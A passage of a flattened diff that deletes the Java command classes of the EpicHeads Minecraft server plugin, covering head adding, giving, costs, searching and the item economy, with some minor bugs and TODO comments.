for (String line : parts)
|
||||
sender.sendMessage(line);
|
||||
return;
|
||||
}
|
||||
|
||||
CacheHead head = new CacheHead(name, category, texture);
|
||||
|
||||
instance.getCache().addHead(head);
|
||||
instance.saveCache();
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category));
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.add";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads add <player-name> <category> [head name]";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Add a new head to the menu.";
|
||||
}
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.oldmenu.mode.CategoryCostMode;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvModeType;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandCategoryCost extends AbstractCommand {
|
||||
|
||||
public CommandCategoryCost(AbstractCommand parent) {
|
||||
super("remove", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
if (args[1].equalsIgnoreCase("reset")) {
|
||||
InvModeType.CATEGORY_COST_REMOVE.open((Player) sender);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
//ToDo: Gross...
|
||||
|
||||
double cost;
|
||||
try {
|
||||
cost = Double.valueOf(args[1]);
|
||||
} catch (NumberFormatException e) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
if (cost < 0) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
InvModeType.CATEGORY_COST.open((Player) sender).asType(CategoryCostMode.class).setCost(cost);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.category-cost";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads categorycost <reset/new cost>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Set heads costs by category.";
|
||||
}
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.oldmenu.mode.CostMode;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvModeType;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandCost extends AbstractCommand {
|
||||
|
||||
public CommandCost(AbstractCommand parent) {
|
||||
super("cost", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
double cost;
|
||||
try { //ToDo: This is so gross.
|
||||
cost = Double.valueOf(args[1]);
|
||||
} catch (NumberFormatException e) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
if (cost < 0) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
InvModeType.COST.open((Player) sender).asType(CostMode.class).setCost(cost);
|
||||
//ToDo: Should probably be some form of success message.
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.id";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads cost <new cost>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Set a heads cost in the menu.";
|
||||
}
|
||||
}
|
@ -1,73 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.volatilecode.TextureGetter;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
import java.util.UUID;
|
||||
|
||||
public class CommandGet extends AbstractCommand {
|
||||
|
||||
public CommandGet(AbstractCommand parent) {
|
||||
super("get", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
String texture = TextureGetter.getCachedTexture(args[1]);
|
||||
|
||||
if (texture != null) {
|
||||
giveHead(instance, (Player) sender, args[1], texture);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
|
||||
|
||||
final UUID uuid = ((Player) sender).getUniqueId();
|
||||
final String name = args[1];
|
||||
|
||||
TextureGetter.getTexture(name, (resolvedTexture) -> {
|
||||
giveHead(instance, Bukkit.getPlayer(uuid), name, resolvedTexture);
|
||||
});
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
private void giveHead(EpicHeads instance, Player player, String name, String texture) {
|
||||
if (player != null) {
|
||||
if (texture == null || texture.isEmpty()) {
|
||||
player.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", name));
|
||||
return;
|
||||
}
|
||||
|
||||
CacheHead head = new CacheHead(name, "getcommand", texture);
|
||||
|
||||
player.sendMessage(instance.getLocale().getMessage("command.get.success", name));
|
||||
player.getInventory().addItem(head.getItemStack());
|
||||
player.updateInventory();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.get";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads get <player name>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Get a players head.";
|
||||
}
|
||||
}
|
@ -1,89 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Item;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class CommandGive extends AbstractCommand {
|
||||
|
||||
public CommandGive(AbstractCommand parent) {
|
||||
super("give", parent, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 4) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
//ToDO: This is gross.
|
||||
|
||||
int id;
|
||||
try {
|
||||
id = Integer.valueOf(args[1]);
|
||||
} catch (NumberFormatException e) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
int amount;
|
||||
try {
|
||||
amount = Integer.valueOf(args[3]);
|
||||
} catch (NumberFormatException e) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
if (amount <= 0) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3]));
|
||||
}
|
||||
|
||||
Player player = Bukkit.getPlayer(args[2]);
|
||||
|
||||
if (player == null || !player.isOnline()) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
CacheHead head = EpicHeads.getInstance().getCache().findHead(id);
|
||||
|
||||
if (head == null) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", id));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
ItemStack headItem = head.getItemStack();
|
||||
for (int i = 0; i < amount; i++) {
|
||||
if (player.getInventory().firstEmpty() != -1) {
|
||||
player.getInventory().addItem(headItem.clone());
|
||||
} else {
|
||||
Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), headItem.clone());
|
||||
item.setPickupDelay(0);
|
||||
}
|
||||
}
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.success", amount, head.getName(), player.getName()));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.give";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads itemeco give <player> [amount]";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Give the economy item to a player.";
|
||||
}
|
||||
}
|
@ -1,111 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.volatilecode.ItemNBT;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import com.songoda.epicheads.volatilecode.TextureGetter;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.SkullMeta;
|
||||
|
||||
public class CommandHand extends AbstractCommand {
|
||||
|
||||
public CommandHand(AbstractCommand parent) {
|
||||
super("hand", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length < 3) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
StringBuilder nameBuilder = new StringBuilder();
|
||||
for (int i = 2; i < args.length; i++) {
|
||||
nameBuilder.append(' ');
|
||||
nameBuilder.append(args[i]);
|
||||
}
|
||||
|
||||
String name = nameBuilder.toString().substring(1);
|
||||
String category = args[1];
|
||||
|
||||
if (category.length() > 32) {
|
||||
String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|");
|
||||
for (String line : parts)
|
||||
sender.sendMessage(line);
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
Player player = (Player) sender;
|
||||
|
||||
ItemStack hand = player.getInventory().getItemInHand();
|
||||
|
||||
if (!Items.isSkull(hand)) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("&cYou need to have a player skull in your hand to get its texture"));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
String texture = ItemNBT.getTextureProperty(hand);
|
||||
|
||||
if (texture == null || texture.isEmpty()) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.hand.notextureproperty"));
|
||||
|
||||
SkullMeta meta = (SkullMeta) hand.getItemMeta();
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
final String owner = meta.getOwner();
|
||||
|
||||
if (owner == null || owner.isEmpty()) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.hand.nonameproperty"));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
texture = TextureGetter.getCachedTexture(owner);
|
||||
|
||||
if (texture == null || texture.isEmpty()) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
|
||||
TextureGetter.getTexture(owner, (resolvedTexture) -> {
|
||||
if (resolvedTexture == null || resolvedTexture.isEmpty()) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.cantfind"));
|
||||
return;
|
||||
}
|
||||
|
||||
add(instance, sender, category, name, resolvedTexture);
|
||||
});
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
add(instance, sender, category, name, texture);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
public void add(EpicHeads instance, CommandSender sender, String category, String name, String texture) {
|
||||
CacheHead head = new CacheHead(name, category, texture);
|
||||
|
||||
EpicHeads.getInstance().getCache().addHead(head);
|
||||
EpicHeads.getInstance().saveCache();
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category));
|
||||
}
|
||||
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.hand";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads hand <category> <head name>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Add a new head to the menu.";
|
||||
}
|
||||
}
|
@ -1,43 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import org.bukkit.command.CommandSender;
|
||||
|
||||
public class CommandHelp extends AbstractCommand {
|
||||
|
||||
public CommandHelp(AbstractCommand parent) {
|
||||
super("help", parent, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
sender.sendMessage("");
|
||||
sender.sendMessage(Methods.formatText(instance.getReferences().getPrefix() + "&7Version " + instance.getDescription().getVersion() + " Created with <3 by &5&l&oBrianna"));
|
||||
|
||||
for (AbstractCommand command : instance.getCommandManager().getCommands()) {
|
||||
if (command.getPermissionNode() == null || sender.hasPermission(command.getPermissionNode())) {
|
||||
sender.sendMessage(Methods.formatText("&8 - &a" + command.getSyntax() + "&7 - " + command.getDescription()));
|
||||
}
|
||||
}
|
||||
sender.sendMessage("");
|
||||
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads help";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Displays this page.";
|
||||
}
|
||||
}
|
@ -1,61 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.volatilecode.ItemNBT;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
|
||||
public class CommandId extends AbstractCommand {
|
||||
|
||||
public CommandId(AbstractCommand parent) {
|
||||
super("id", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
Player player = (Player) sender;
|
||||
|
||||
if (args.length != 1) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
ItemStack hand = player.getInventory().getItemInHand();
|
||||
if (!Items.isSkull(hand)) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.id.holdskull"));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
String texture = ItemNBT.getTextureProperty(hand);
|
||||
CacheHead head = EpicHeads.getInstance().getCache().findHeadByTexture(texture);
|
||||
if (head == null) {
|
||||
ItemMeta meta = hand.getItemMeta();
|
||||
String name = ChatColor.stripColor(meta.hasDisplayName() ? meta.getDisplayName() : "");
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.id.unknownhead", name));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.id.success", head.getName(), head.getId()));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.id";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads id";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Get the ID for a player head.";
|
||||
}
|
||||
}
|
@ -1,157 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import sun.management.Sensor;
|
||||
|
||||
public class CommandItemEco extends AbstractCommand {
|
||||
|
||||
public CommandItemEco(AbstractCommand parent) {
|
||||
super("itemeco", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length < 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
if (args[1].equalsIgnoreCase("give")) {
|
||||
return onGiveCommand(instance, sender, args);
|
||||
}
|
||||
|
||||
Player player = (Player) sender; //ToDo: This is wrong.
|
||||
|
||||
if (args[1].equalsIgnoreCase("set")) {
|
||||
return onSetCommand(instance, player, args);
|
||||
}
|
||||
|
||||
if (args[1].equalsIgnoreCase("get")) {
|
||||
return onGetCommand(instance, player, args);
|
||||
}
|
||||
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
private ReturnType onSetCommand(EpicHeads instance, Player player, String[] args) {
|
||||
if (args.length != 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
// Had to do this to resolve the compatibility issue with 1.13.
|
||||
ItemStack itemStack = player.getInventory().getItemInHand();
|
||||
|
||||
if (itemStack == null) {
|
||||
player.sendMessage(instance.getLocale().getMessage("command.itemeco.noitem"));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
Item item = Item.create(itemStack).amount(1);
|
||||
|
||||
EpicHeads.getInstance().getMainConfig().setItemEcoItem(item);
|
||||
|
||||
player.sendMessage(instance.getLocale().getMessage("command.itemeco.set"));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
private ReturnType onGetCommand(EpicHeads instance, Player player, String[] args) {
|
||||
if (args.length != 2 && args.length != 3) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
int amount = 1;
|
||||
|
||||
if (args.length == 3) {
|
||||
try {
|
||||
amount = Integer.valueOf(args[2]);
|
||||
} catch (NumberFormatException e) {
|
||||
player.sendMessage(instance.getLocale().getMessage("command.error.integer", args[2]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
if (amount < 1) {
|
||||
player.sendMessage(instance.getLocale().getMessage("command.error.negative", args[2]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
giveTokens(player, amount);
|
||||
|
||||
player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
private ReturnType onGiveCommand(EpicHeads instance, CommandSender sender, String[] args) {
|
||||
if (args.length != 3 && args.length != 4) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
int amount = 1;
|
||||
|
||||
if (args.length == 4) {
|
||||
try {
|
||||
amount = Integer.valueOf(args[3]);
|
||||
} catch (NumberFormatException e) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[3]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
if (amount < 1) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[3]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
Player player = Bukkit.getPlayer(args[2]);
|
||||
|
||||
if (player == null) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
giveTokens(player, amount);
|
||||
|
||||
player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount));
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.itemeco.given", amount).replace("%player%",player.getDisplayName()));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
private void giveTokens(Player player, int amount) {
|
||||
while (amount > 0) {
|
||||
int giveAmount = Math.min(64, amount);
|
||||
amount -= giveAmount;
|
||||
|
||||
ItemStack itemStack = EpicHeads.getInstance().getMainConfig().getItemEconomyItem().amount(giveAmount).build();
|
||||
|
||||
if (player.getInventory().firstEmpty() != -1) {
|
||||
player.getInventory().addItem(itemStack);
|
||||
} else {
|
||||
org.bukkit.entity.Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), itemStack);
|
||||
|
||||
item.setPickupDelay(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.item-eco";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads itemeco <get/set/give>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Manage the item economy.";
|
||||
}
|
||||
}
|
@ -1,73 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
public class CommandRandom extends AbstractCommand {
|
||||
|
||||
private static final Random RANDOM = new Random();
|
||||
|
||||
public CommandRandom(AbstractCommand parent) {
|
||||
super("random", parent, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 1 && args.length != 2) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
if (EpicHeads.getInstance().getCache().getHeadCount() == 0) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.random.noheads"));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
CacheHead random = EpicHeads.getInstance().getCache().getRandomHead(RANDOM);
|
||||
|
||||
if (args.length == 1) {
|
||||
if (!(sender instanceof Player)) {
|
||||
return ReturnType.NO_CONSOLE;
|
||||
}
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.random.self", random));
|
||||
|
||||
((Player) sender).getInventory().addItem(random.getItemStack());
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
Player player = Bukkit.getPlayer(args[1]);
|
||||
|
||||
if (player == null) {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[1]));
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
player.sendMessage(instance.getLocale().getMessage("command.random.give", random));
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.give.success", 1, random, player));
|
||||
|
||||
player.getInventory().addItem(random.getItemStack());
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.random";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads random [player]";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "RGet or give a random head.";
|
||||
}
|
||||
}
|
@ -1,38 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import org.bukkit.command.CommandSender;
|
||||
|
||||
public class CommandReload extends AbstractCommand {
|
||||
|
||||
public CommandReload(AbstractCommand parent) {
|
||||
super("reload", parent, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 1) return ReturnType.SYNTAX_ERROR;
|
||||
|
||||
EpicHeads.getInstance().reloadConfigs();
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.reload.success"));
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.reload";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads reload";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Reload the Heads config files.";
|
||||
}
|
||||
}
|
@ -1,39 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvModeType;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandRemove extends AbstractCommand {
|
||||
|
||||
public CommandRemove(AbstractCommand parent) {
|
||||
super("remove", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length != 1) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
//ToDo: Should be some kind of success message.
|
||||
InvModeType.REMOVE.open((Player) sender);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.remove";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads remove";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Remove a head in the menu.";
|
||||
}
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvModeType;
|
||||
import com.songoda.epicheads.oldmenu.mode.RenameMode;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandRename extends AbstractCommand {
|
||||
|
||||
public CommandRename(AbstractCommand parent) {
|
||||
super("rename", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length <= 1) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
StringBuilder builder = new StringBuilder();
|
||||
|
||||
for (int i = 1; i < args.length; i++) {
|
||||
if (i != 1) {
|
||||
builder.append(' ');
|
||||
}
|
||||
|
||||
builder.append(args[i]);
|
||||
}
|
||||
|
||||
String name = builder.toString();
|
||||
|
||||
InvModeType.RENAME.open((Player) sender).asType(RenameMode.class).setName(name);
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public String getPermissionNode() {
|
||||
return "epicheads.rename";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads rename <new name>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Rename a head in the menu.";
|
||||
}
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.oldmenu.mode.SearchMode;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandSearch extends AbstractCommand {
|
||||
|
||||
public CommandSearch(AbstractCommand parent) {
|
||||
super("search", parent, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
if (args.length <= 1) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
StringBuilder queryBuilder = new StringBuilder();
|
||||
|
||||
for (int i = 1; i < args.length; i++) {
|
||||
queryBuilder.append(args[i]);
|
||||
queryBuilder.append(' ');
|
||||
}
|
||||
|
||||
String query = queryBuilder.toString().trim();
|
||||
|
||||
EpicHeads.getInstance().getCache().searchHeadsAsync(query, matches -> {
|
||||
if (matches.size() == 0) {
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.search.nonefound", query));
|
||||
return;
|
||||
}
|
||||
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.search.found", query, matches.size()));
|
||||
|
||||
new SearchMode((Player) sender, matches);
|
||||
});
|
||||
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
